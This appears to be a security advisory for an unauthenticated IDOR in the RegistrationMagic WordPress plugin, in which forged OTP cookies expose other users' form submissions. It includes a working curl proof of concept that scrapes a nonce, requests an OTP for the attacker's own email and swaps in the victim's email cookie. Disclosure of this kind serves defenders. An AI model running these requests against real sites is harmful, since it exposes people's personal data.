RegistrationMagic < 6.0.9.4 – Unauthenticated Form Submission Disclosure via IDOR | CVE 2026-15255

Description

The plugin does not properly validate that a one-time password presented in a cookie belongs to the identity being requested before returning front-end form submissions, allowing unauthenticated attackers to read other users' form submission data, including personal information.

Proof of Concept

Prerequisites (a supported free-plugin, non-default configuration): the site uses the front-end OTP submissions feature, i.e. a page containing [RM_Front_Submissions] and a page containing [RM_Login], and form submitters are non-WordPress-account emails so the OTP login path is active. The victim previously submitted a front-end form as victim@example.com.

B=https://victim.example

# 0) The attacker submits the public front-end form as their OWN email
#    (attacker@evil.com) so that email gains a submission, enabling the OTP
#    login path for it. Any visitor can do this.

# 1) Get the public rm_ajax_secure nonce (unauthenticated, printed on the login page)
NONCE=$(curl -s "$B/rm-login/" | grep -oE '"nonce":"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{6,}')

# 2) Request an OTP for the attacker's OWN email (unauthenticated); the OTP is emailed to the attacker
curl -s "$B/wp-admin/admin-ajax.php" \
     -d "action=rm_set_otp" -d "rm_slug=rm_front_set_otp" -d "rm_sec_nonce=$NONCE" \
     --data-urlencode "rm_otp_email=attacker@evil.com"

# 3) Read the VICTIM's submission using the attacker's own OTP + the victim's email cookie
curl -s "$B/rm-submissions/?submission_id=1" \
     -b "rm_secure_otp=<attacker-own-otp-from-email>" \
     -b "rm_autorized_otp=true" \
     -b "rm_autorized_email=victim@example.com"
# -> returns the victim's submission (name, email, phone, and any PII the form collected).
#    Omitting submission_id lists all of the victim's submissions.

# Negative controls: a random rm_secure_otp, or no cookies -> no data returned.